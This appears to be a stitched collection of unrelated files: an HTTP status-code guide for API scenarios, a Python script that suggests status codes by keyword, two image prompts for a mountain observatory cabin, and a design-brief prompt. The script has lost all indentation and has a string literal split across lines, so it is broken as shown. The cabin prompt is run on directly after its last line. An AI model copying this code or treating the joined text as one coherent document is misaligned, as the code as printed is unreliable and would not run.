{"type": "https://example.com/problems/email-taken", "title": "Email already registered", "status": 409, "detail": "An account with this email already exists.", "instance": "/users"}
```
## 2. Order created
`POST /orders` succeeds and returns the order.
- **Recommended:** 201 Created, `Location: /orders/8812`
- **Alternatives:** 200 (loses the "created" signal), 202 (only if fulfillment is async and the order is not yet persisted).
## 3. Report export queued
`POST /reports/exports` starts a 5-minute job.
- **Recommended:** 202 Accepted with `{"jobId": "exp_41", "statusUrl": "/reports/exports/exp_41"}`
## 4. Viewer tries to delete a project
Logged-in user with read-only role calls `DELETE /projects/7`.
- **Recommended:** 403 Forbidden
- **Why:** Identity is known; permission is missing. 401 would wrongly suggest logging in again.
## 5. Expired access token
`GET /me` with an expired JWT.
- **Recommended:** 401 Unauthorized, `WWW-Authenticate: Bearer error="invalid_token"`
## 6. Search with no matches
`GET /products?q=zzzz`
- **Recommended:** 200 OK with `{"items": [], "total": 0}`
- **Why:** The collection exists; it is just empty. 404 would break clients that treat it as an error.
## 7. Start date after end date
`POST /bookings` with `start=2026-10-20`, `end=2026-10-18`.
- **Recommended:** 422 Unprocessable Content
- **Alternatives:** 400 (acceptable if your convention merges parse and validation errors).
## 8. Payment provider timed out
`POST /checkout` and the payment gateway did not answer within 10 seconds.
- **Recommended:** 504 Gateway Timeout
- **Alternatives:** 502 (if the gateway answered with an invalid response), 503 (if you are deliberately shedding load).
## 9. Too many login attempts
- **Recommended:** 429 Too Many Requests, `Retry-After: 60`
## 10. Stale update
`PUT /docs/3` with `If-Match: "v4"` but the current version is `"v5"`.
- **Recommended:** 412 Precondition Failed
FILE:scripts/suggest_status.py
#!/usr/bin/env python3
"""Suggest an HTTP status code from a short scenario description.
Usage:
python3 suggest_status.py [--method METHOD] [--json] "scenario text"
python3 suggest_status.py --self-test
Keyword-based and deliberately simple: it gives a first guess plus
alternatives. Always confirm against references/status-cheatsheet.md.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
# Ordered rules: first match wins. Each rule: (keywords, code, reason, alternatives, headers)
RULES = [
(["rate limit", "too many", "throttl", "quota exceeded"], 429,
"Client exceeded a rate limit or quota.", [503], ["Retry-After"]),
(["not logged in", "no token", "missing token", "expired token", "invalid token",
"unauthenticated", "no credentials", "bad credentials", "login required"], 401,
"Credentials are missing or invalid.", [403], ["WWW-Authenticate"]),
(["no permission", "not allowed", "forbidden", "insufficient role", "not authorized",
"read-only user", "not the owner"], 403,
"Caller is authenticated but lacks permission.", [404], []),
(["already exists", "duplicate", "conflict", "version mismatch", "already taken",
"invalid state", "state transition"], 409,
"Request conflicts with the current state of the resource.", [422, 412], []),
(["precondition", "if-match", "etag mismatch", "stale"], 412,
"A conditional request header did not match.", [409], ["ETag"]),
(["too large", "payload size", "file too big", "body too big"], 413,
"Request body exceeds the allowed size.", [400], []),
(["unsupported media", "content-type", "wrong content type"], 415,
"Content-Type is not supported.", [400], ["Accept"]),
(["malformed", "invalid json", "parse error", "cannot parse", "syntax error",
"missing required"], 400,
"Request cannot be parsed or is missing required parts.", [422], []),
(["validation", "invalid email", "out of range", "must be", "before start",
"invalid value", "fails rule"], 422,
"Request is well-formed but values fail validation.", [400], []),
(["method not allowed", "wrong method", "unsupported method"], 405,
"The URL exists but does not support this method.", [404], ["Allow"]),
(["gone", "permanently deleted", "removed permanently"], 410,
"Resource existed and was permanently removed.", [404], []),
(["not found", "does not exist", "no such", "unknown id"], 404,
"Target resource does not exist.", [410], []),
(["upstream timeout", "gateway timeout", "timed out", "timeout"], 504,
"An upstream dependency did not respond in time.", [502, 503], []),
(["bad gateway", "upstream error", "invalid upstream", "upstream returned"], 502,
"An upstream dependency returned an invalid response.", [504], []),
(["maintenance", "overloaded", "unavailable", "down for"], 503,
"Service is temporarily unavailable.", [500], ["Retry-After"]),
(["not implemented", "unsupported feature"], 501,
"The server does not support this functionality.", [405], []),
(["crash", "exception", "bug", "unexpected error", "internal error"], 500,
"Unexpected server-side failure.", [503], []),
(["queued", "async", "background job", "accepted for processing", "will process"], 202,
"Work was accepted and will complete later.", [201], ["Location"]),
(["created", "new resource", "signed up", "registered"], 201,
"A new resource was created.", [200, 202], ["Location"]),
(["deleted", "no content", "nothing to return"], 204,
"Success with no response body.", [200], []),
(["not modified", "unchanged", "cache hit"], 304,
"Conditional request and resource is unchanged.", [200], ["ETag"]),
(["empty list", "no results", "no matches", "empty collection"], 200,
"Collection exists but is empty: return 200 with an empty list.", [404], []),
(["success", "ok", "returned", "fetched", "updated"], 200,
"Request succeeded and returns content.", [204], []),
]
REASONS = {
200: "OK", 201: "Created", 202: "Accepted", 204: "No Content", 304: "Not Modified",
400: "Bad Request", 401: "Unauthorized", 403: "Forbidden", 404: "Not Found",
405: "Method Not Allowed", 409: "Conflict", 410: "Gone", 412: "Precondition Failed",
413: "Content Too Large", 415: "Unsupported Media Type", 422: "Unprocessable Content",
429: "Too Many Requests", 500: "Internal Server Error", 501: "Not Implemented",
502: "Bad Gateway", 503: "Service Unavailable", 504: "Gateway Timeout",
}
def suggest(text, method=None):
t = " " + re.sub(r"\s+", " ", text.lower()) + " "
for keywords, code, reason, alts, headers in RULES:
for kw in keywords:
# word-boundary match for very short keywords like "ok"
if len(kw) <= 3:
if re.search(r"\b" + re.escape(kw) + r"\b", t):
break
elif kw in t:
break
else:
continue
m = (method or "").upper()
notes = []
if code == 200 and m == "DELETE":
code, reason, alts = 204, "DELETE succeeded; usually no body.", [200]
if code == 201 and m and m not in ("POST", "PUT"):
notes.append("201 is normally returned by POST or PUT.")
if code == 204 and m == "GET":
notes.append("GET rarely returns 204; prefer 200 with a body.")
return {
"code": code,
"reason_phrase": REASONS.get(code, ""),
"why": reason,
"alternatives": [f"{a} {REASONS.get(a, '')}".strip() for a in alts],
"headers": headers,
"matched_keyword": kw,
"notes": notes,
}
return {
"code": None,
"reason_phrase": "",
"why": "No rule matched. Walk templates/decision-tree.md manually.",
"alternatives": [],
"headers": [],
"matched_keyword": None,
"notes": [],
}
def self_test():
cases = [
("created new order", "POST", 201),
("user not logged in", "GET", 401),
("read-only user tries to delete", "DELETE", 403),
("email already exists", "POST", 409),
("search returned no results", "GET", 200),
("end date before start date validation", "POST", 422),
("invalid json body", "POST", 400),
("payment gateway timed out", "POST", 504),
("too many login attempts", "POST", 429),
("order id does not exist", "GET", 404),
("report export queued as background job", "POST", 202),
("record deleted", "DELETE", 204),
("unexpected exception in handler", "GET", 500),
("something odd happened", "GET", None),
]
failed = 0
for text, method, expected in cases:
got = suggest(text, method)["code"]
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {method:6} {text!r} -> {got} (expected {expected})")
print(f"
{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Suggest an HTTP status code for an API scenario.")
p.add_argument("scenario", nargs="*", help="Short description of what happened")
p.add_argument("--method", help="HTTP method, e.g. POST")
p.add_argument("--json", action="store_true", help="Print JSON output")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.scenario:
p.error("scenario text is required (or use --self-test)")
r = suggest(" ".join(a.scenario), a.method)
if a.json:
print(json.dumps(r, indent=2))
return 0
if r["code"] is None:
print(r["why"])
return 2
print(f"Recommended: {r['code']} {r['reason_phrase']}")
print(f"Why: {r['why']}")
if r["alternatives"]:
print("Alternatives: " + ", ".join(r["alternatives"]))
if r["headers"]:
print("Headers: " + ", ".join(r["headers"]))
for n in r["notes"]:
print("Note: " + n)
return 0
if __name__ == "__main__":
sys.exit(main())Interior room of a small cedar observatory cabin at night: walls and ceiling of warm vertical cedar boards matching the exterior, a wooden desk with open star charts and a red-glowing desk lamp, a telescope eyepiece and black telescope tube angled up through a ceiling hatch into the white hemispherical dome above, and a small black cast-iron wood stove with orange firelight and a black steel stovepipe. A worn leather armchair with a wool blanket sits between the desk and the stove; a wall shelf holds eyepiece cases and a brass star globe. The camera stands inside looking toward two rectangular front windows that glow amber from inside and frame a jagged mountain ridge, dwarf pines, old snow, and a bright Milky Way beyond. Lighting mixes dim red task light and warm firelight; the windows are cooler and darker outside. Photorealistic interior photography, 24mm lens, 16:9, cozy and quiet, no people, no text.
A small cedar cabin with a white rotating telescope dome on its roof sits on a rocky mountain ridge under a vivid Milky Way arching across the night sky. The cabin is a compact single-story box clad in vertical warm-brown cedar boards, with a low dark-metal shed roof, a matte white hemispherical dome on the left end with its narrow slit half open and a telescope tube just visible inside, and a black steel stovepipe chimney on the right end with a thin curl of smoke. One wide rectangular window on the front glows dim warm amber, and a small wooden deck with a simple railing faces the valley. A narrow gravel path lined with flat stones leads up to the deck. Scattered dwarf pines and patches of old snow surround the cabin, and a jagged ridge silhouette fades into a deep valley of distant peaks. Thousands of sharp stars, the bright galactic core in soft violet and gold. Photorealistic long-exposure astrophotography, wide-angle 16:9, low camera angle, no light pollution, no people, no text.
Act as an architectural concept designer who specializes in small off-grid retreats for amateur astronomers. Help me build a clear, image-ready design brief for a small mountain observatory cabin. First ask me, in one short list, for: the site (mountain ridge, altitude, climate, snow), who uses it (one stargazer, a couple, a small club), budget level (modest, mid, high), telescope type and size, and any must-haves (wood stove, bunk, darkroom red lighting, off-grid power). Then produce the brief with these sections: 1. **Concept in One Sentence**: the feeling and purpose of the cabin. 2. **Site and Orientation**: where it sits on the ridge, which way the main window faces, sightlines to the darkest part of the sky, wind and snow protection. 3. **Form and Massing**: footprint (keep it under 40 square meters), roof shape, and the rotating telescope dome or roll-off roof, with rough dimensions. 4. **Materials and Palette**: exterior cladding (for example vertical cedar boards), roofing, dome finish, window frames, and interior wood, each with a color or tone. 5. **Interior Layout**: a desk for charts and a laptop, the telescope access point or eyepiece position, a wood stove, seating, storage for eyepieces and star charts, and a sleeping nook if needed. 6. **Night Lighting Plan**: dim red task lights, warm low lamps, and how light is kept from spilling outside and ruining dark adaptation. 7. **Fixed Visual Details**: a numbered list of 8 to 10 details that must stay identical in every image of this cabin (cladding direction, dome color, window count and shape, chimney position, deck, path, surrounding trees, ridge silhouette). 8. **Image Prompt Seeds**: two short prompt starters, one for an exterior night view from the ridge under the Milky Way and one for the warm interior looking out at the stars. Each must restate the fixed visual details and put the key objects in the first sentence. Keep it concise, practical, and buildable. Avoid naming real architects or brands. Flag anything that would be unsafe or impractical in a high mountain climate.